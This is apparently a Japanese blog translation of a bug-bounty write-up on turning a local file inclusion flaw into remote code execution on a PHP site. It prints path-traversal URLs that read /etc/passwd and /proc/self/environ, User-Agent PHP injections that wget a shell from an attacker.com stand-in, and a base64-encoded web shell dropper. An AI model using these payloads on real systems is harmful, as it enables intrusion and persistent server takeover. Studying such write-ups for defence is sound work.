Shikata Ga Nai

Private? There is no such things.

Leveraging LFI to RCE in a website with +20000 usersを訳してみた

Hello there, ('ω')ノ

 

+20000ユーザのWebサイトでLFIをRCEに活用を。

 

脆弱性:

 LFI

 RCE

 

記事:

 https://infosecwriteups.com/leveraging-lfi-to-rce-in-a-website-with-20000-users-129050f9982b

 

ツール:

 Burp Suite

 

LFIの脆弱性を見つける方法は。

ウェブサイトを閲覧して、興味深いエンドポイントを。

見つけることができるかどうかを確認することに。

Contact Usをクリックすると、興味深いエンドポイントにつながって。

 https://www.website.com/index.php?pg=contact.php

 

f:id:ThisIsOne:20211021113851p:plain

 

pgパラメータをファジングし始めると。

次のペイロードを使用してLFIが可能であることがわかって。

 https://www.website.com/index.php?pg=../../../../etc/passwd

 

f:id:ThisIsOne:20211021113919p:plain


LFIからRCEへ影響を拡大するために。

考えられるすべての既知の手法を使用して、LFIの脆弱性をRCEにエスカレートすると。

/proc/self/environが読み取り可能であることがわかったので。

次のコードを入力すると情報が漏洩します。

 https://www.website.com/index.php?pg=../../../../proc/self/environ

 

f:id:ThisIsOne:20211021114001p:plain

 

出力を分析すると、/proc/self/environの下にあるファイルに。

HTTP_USER_AGENTなどのいくつかの環境変数が含まれていることがわかったので。

Burp Suiteを起動して、User-Agentの値を変更してリクエストを送信することに。

 

f:id:ThisIsOne:20211021114333p:plain



次の値をUser-Agentに追加してみることに。

system()を試したものの、RCEはなし:

 User-Agent: <?system('wget http://attacker.com/shell.txt -O shell.php');?>

 

exec()を試したものの、RCEはなし:

 User-Agent: <?exec('wget http://attacker.com/shell.txt -O shell.php');?>

 

phpinit()を試したものの、失敗:

 User-Agent: <?php phpinfo(); ?>

 

サーバ内にファイルを書き込んでみることができるのを忘れていたので。

次のペイロードを試すことに。

 

User-AgentHTTPヘッダで使用するペイロードを作成することに。

User-Agent: <?php $a = base64_decode('PD9waHAgCiAgJGEgPSAkX1BPU1RbJ2NvZGUnXTsKICAkZmlsZSA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwndycpOwogIEBmd3JpdGUoJGZpbGUsJGEpOwogIEBmY2xvc2UoJGZpbGUpOwo/Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCI+PGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm9ybT0iZm9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm9ybT4KPC9jZW50ZXI+Cg=='); $file = fopen('nadeshot.php','w'); echo fwrite($file,$a); fclose($file); ?>

 

使用したペイロードの説明:

Webシェルはbase64でエンコードされ、変数に格納されて。

 $a = base64_decode('webshell_base64_encoded_code_here');

 

これの元のwebshel​​lphpコードは下記からもので。

 https://github.com/alita-ido/PHP-File-Writer/blob/master/lfi-writer.php

 

f:id:ThisIsOne:20211021113631p:plain

 

 

その後、nadeshot.phpという名前のファイルを書き込むようにサーバに指示して。

 $file = fopen('nadeshot.php','w');

 

次に、サーバはコード(デコードされたbase64)をnadeshot.phpに書き込んで。

 echo fwrite($file,$a);

 

次に、サーバはファイルを保存して。

 fclose($file);

 

それでは、このペイロード全体をBurp Suiteで実行してみて。

何が起こるか見てみると、Response 200(OK)を取得して。

 

f:id:ThisIsOne:20211021114105p:plain

 

https://website.com/nadeshot.phpにアクセスして。

ペイロードが正常に実行されたかどうかを確認すると。

webshel​​lがアップロードされて。

 

f:id:ThisIsOne:20211021114132p:plain

 

webshel​​lは、/nadeshot.phpにアップロードされたので。

簡単なnadeshot.txtファイルを作成して、機能するかどうかを確認することに。

nadeshot.txtという名前のテキストファイルを作成し、「Write」をクリックして。

 

f:id:ThisIsOne:20211021114159p:plain

 

https://website.com/nadeshot.txtにアクセスすると。

テキストファイルが表示されたので。

LFIからRCEへの影響を増やすことに成功して。

 

f:id:ThisIsOne:20211021114221p:plain

 

Best regards, (^^ゞ